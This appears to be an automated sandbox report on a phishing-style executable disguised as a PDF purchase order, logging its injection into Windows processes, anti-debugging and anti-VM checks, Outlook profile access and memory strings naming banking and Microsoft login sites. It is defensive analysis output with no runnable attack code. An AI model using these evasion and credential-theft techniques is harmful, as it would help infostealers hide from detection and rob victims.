Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: ieframe.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: netapi32.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: version.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: userenv.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: wkscli.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: secur32.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: mlang.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: winsqlite3.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: vaultcli.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: wintypes.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: dpapi.dll			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	Section loaded: dnsapi.dll			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	Section loaded: fwpuclnt.dll			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe	Section loaded: rasadhlp.dll			Jump to behavior

Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: PO_P0986880_03282025.pdf.exe

Static file information: File size 1197568 > 1048576

Source: PO_P0986880_03282025.pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: PO_P0986880_03282025.pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: PO_P0986880_03282025.pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: PO_P0986880_03282025.pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: PO_P0986880_03282025.pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: PO_P0986880_03282025.pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: PO_P0986880_03282025.pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: rmactivate_ssp_isv.pdb source: svchost.exe, 00000002.00000003.1552392277.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1552329502.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000003.1766506375.0000000000794000.00000004.00000020.00020000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000003.1766408850.0000000005E31000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: PO_P0986880_03282025.pdf.exe, 00000000.00000003.1229464446.0000000003BF0000.00000004.00001000.00020000.00000000.sdmp, PO_P0986880_03282025.pdf.exe, 00000000.00000003.1226945055.0000000003A50000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1475634337.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1478111998.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1583834897.000000000369E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1583834897.0000000003500000.00000040.00001000.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000002.3680471129.00000000033D0000.00000040.00001000.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000002.3680471129.000000000356E000.00000040.00001000.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000003.1586811304.000000000321E000.00000004.00000020.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000003.1583931638.0000000003061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: PO_P0986880_03282025.pdf.exe, 00000000.00000003.1229464446.0000000003BF0000.00000004.00001000.00020000.00000000.sdmp, PO_P0986880_03282025.pdf.exe, 00000000.00000003.1226945055.0000000003A50000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1475634337.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1478111998.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1583834897.000000000369E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1583834897.0000000003500000.00000040.00001000.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, RMActivate_ssp_isv.exe, 0000000A.00000002.3680471129.00000000033D0000.00000040.00001000.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000002.3680471129.000000000356E000.00000040.00001000.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000003.1586811304.000000000321E000.00000004.00000020.00020000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000003.1583931638.0000000003061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: RMActivate_ssp_isv.exe, 0000000A.00000002.3680856702.00000000039FC000.00000004.10000000.00040000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 0000000B.00000002.3680302788.000000000280C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.1883612234.000000001DD8C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: RMActivate_ssp_isv.exe, 0000000A.00000002.3680856702.00000000039FC000.00000004.10000000.00040000.00000000.sdmp, RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002C73000.00000004.00000020.00020000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 0000000B.00000002.3680302788.000000000280C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.1883612234.000000001DD8C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: rmactivate_ssp_isv.pdbGCTL source: svchost.exe, 00000002.00000003.1552392277.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1552329502.0000000002E1A000.00000004.00000020.00020000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000003.1766506375.0000000000794000.00000004.00000020.00020000.00000000.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000003.1766408850.0000000005E31000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: fWPQZpr2Z22Fsii5JKcf.exe, 00000009.00000002.3679656655.0000000000E1F000.00000002.00000001.01000000.00000005.sdmp, fWPQZpr2Z22Fsii5JKcf.exe, 0000000B.00000000.1665805087.0000000000E1F000.00000002.00000001.01000000.00000005.sdmp

Source: PO_P0986880_03282025.pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: PO_P0986880_03282025.pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: PO_P0986880_03282025.pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: PO_P0986880_03282025.pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: PO_P0986880_03282025.pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00A54B37 LoadLibraryA,GetProcAddress,

0_2_00A54B37

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A78945 push ecx; ret		0_2_00A78958
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041489A push ds; ret		2_2_0041489D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004048AB push ds; retf		2_2_004048AC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00405169 push 00000026h; iretd		2_2_00405231
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00412104 push ds; iretd		2_2_00412107
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00414910 push esp; ret		2_2_00414930
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041391B push eax; ret		2_2_0041397C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00413923 push eax; ret		2_2_0041397C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041398E push eax; ret		2_2_0041397C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00405275 push 00000026h; iretd		2_2_00405231
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00405208 push 00000026h; iretd		2_2_00405231
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041AA39 push FFFFFFAEh; iretd		2_2_0041AA3F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041842E push es; retn 10CDh		2_2_0041843D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00415CA3 push esi; ret		2_2_00415CAE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403530 push eax; ret		2_2_00403532
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00413D30 push ss; ret		2_2_00413D3A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004115EB pushfd ; iretd		2_2_00411606
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418DA2 push ss; ret		2_2_00418D9F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040862C push ecx; ret		2_2_00408639
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00417F4C pushfd ; ret		2_2_00417F67
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0350225F pushad ; ret		2_2_035027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035027FA pushad ; ret		2_2_035027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_035309AD push ecx; mov dword ptr [esp], ecx		2_2_035309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0350283D push eax; iretd		2_2_03502858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0350135E push eax; iretd		2_2_03501369
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_033D225F pushad ; ret		10_2_033D27F9
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_033D27FA pushad ; ret		10_2_033D27F9
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_034009AD push ecx; mov dword ptr [esp], ecx		10_2_034009B6
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_033D283D push eax; iretd		10_2_033D2858
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_033D135E push eax; iretd		10_2_033D1369
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_029603F0 push eax; ret		10_2_02960449

Hooking and other Techniques for Hiding and Protection

Source: Possible double extension: pdf.exe

Static PE information: PO_P0986880_03282025.pdf.exe

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00A548D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00A548D7
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AD5376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00AD5376

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00A73187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00A73187

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	API/Special instruction interceptor: Address: 11E3464
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	API/Special instruction interceptor: Address: 7FF9105CD324
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	API/Special instruction interceptor: Address: 7FF9105CD7E4
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	API/Special instruction interceptor: Address: 7FF9105CD944
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	API/Special instruction interceptor: Address: 7FF9105CD504
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	API/Special instruction interceptor: Address: 7FF9105CD544
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	API/Special instruction interceptor: Address: 7FF9105CD1E4
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	API/Special instruction interceptor: Address: 7FF9105D0154
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	API/Special instruction interceptor: Address: 7FF9105CDA44

Source: PO_P0986880_03282025.pdf.exe, 00000000.00000003.1215838501.000000000125C000.00000004.00000020.00020000.00000000.sdmp, PO_P0986880_03282025.pdf.exe, 00000000.00000002.1230830581.000000000125C000.00000004.00000020.00020000.00000000.sdmp, PO_P0986880_03282025.pdf.exe, 00000000.00000003.1215769886.0000000001228000.00000004.00000020.00020000.00000000.sdmp, PO_P0986880_03282025.pdf.exe, 00000000.00000003.1224691010.000000000125C000.00000004.00000020.00020000.00000000.sdmp, PO_P0986880_03282025.pdf.exe, 00000000.00000003.1219095990.000000000125C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: FIDDLER.EXE8L

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0357096E rdtsc

2_2_0357096E

Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe

Code function: 10_2_0296F431 sldt word ptr [eax]

10_2_0296F431

Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Window / User API: threadDelayed 4225			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Window / User API: threadDelayed 5747			Jump to behavior

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	API coverage: 4.4 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe TID: 2532	Thread sleep count: 4225 > 30			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe TID: 2532	Thread sleep time: -8450000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe TID: 2532	Thread sleep count: 5747 > 30			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe TID: 2532	Thread sleep time: -11494000s >= -30000s			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe TID: 2428	Thread sleep time: -70000s >= -30000s			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe TID: 2428	Thread sleep count: 35 > 30			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe TID: 2428	Thread sleep time: -52500s >= -30000s			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe TID: 2428	Thread sleep count: 36 > 30			Jump to behavior
Source: C:\Program Files (x86)\AVGIRBiBkXEsbjUuoEBRQkuOhhFFJwHaDJAhjylwRsjifCIdMSYbbIly\fWPQZpr2Z22Fsii5JKcf.exe TID: 2428	Thread sleep time: -36000s >= -30000s			Jump to behavior

Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AB445A GetFileAttributesW,FindFirstFileW,FindClose,		0_2_00AB445A
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00ABC6D1 FindFirstFileW,FindClose,		0_2_00ABC6D1
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00ABC75C FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,		0_2_00ABC75C
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00ABEF95 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,		0_2_00ABEF95
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00ABF0F2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,		0_2_00ABF0F2
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00ABF3F3 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,		0_2_00ABF3F3
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AB37EF FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,		0_2_00AB37EF
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00AB3B12 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,		0_2_00AB3B12
Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_00ABBCBC FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,		0_2_00ABBCBC
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Code function: 10_2_0296C1C0 FindFirstFileW,FindNextFileW,FindClose,		10_2_0296C1C0

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00A549A0 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00A549A0

Source: -76h0r7J.10.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: -76h0r7J.10.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
Source: -76h0r7J.10.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: -76h0r7J.10.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: -76h0r7J.10.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: -76h0r7J.10.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: -76h0r7J.10.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: RMActivate_ssp_isv.exe, 0000000A.00000002.3678707228.0000000002C73000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll'
Source: -76h0r7J.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: -76h0r7J.10.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: -76h0r7J.10.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: -76h0r7J.10.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: -76h0r7J.10.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: -76h0r7J.10.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: -76h0r7J.10.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: -76h0r7J.10.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: -76h0r7J.10.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: -76h0r7J.10.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: fWPQZpr2Z22Fsii5JKcf.exe, 0000000B.00000002.3679396529.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll7
Source: -76h0r7J.10.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: -76h0r7J.10.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: -76h0r7J.10.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: -76h0r7J.10.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: -76h0r7J.10.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: -76h0r7J.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: -76h0r7J.10.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: -76h0r7J.10.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: -76h0r7J.10.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: -76h0r7J.10.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: -76h0r7J.10.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: -76h0r7J.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: -76h0r7J.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: -76h0r7J.10.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: firefox.exe, 0000000C.00000002.1884959461.00000271DDC4C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllLL

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_ssp_isv.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0357096E rdtsc

2_2_0357096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00417603 LdrLoadDll,

2_2_00417603

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00AC3F09 BlockInput,

0_2_00AC3F09

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00A53B3A GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00A53B3A

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00A85A7C EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00A85A7C

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe

Code function: 0_2_00A54B37 LoadLibraryA,GetProcAddress,

0_2_00A54B37

Source: C:\Users\user\Desktop\PO_P0986880_03282025.pdf.exe	Code function: 0_2_011E20D0 mov eax, dword ptr fs:[00000030h]		0_2_011E20D0
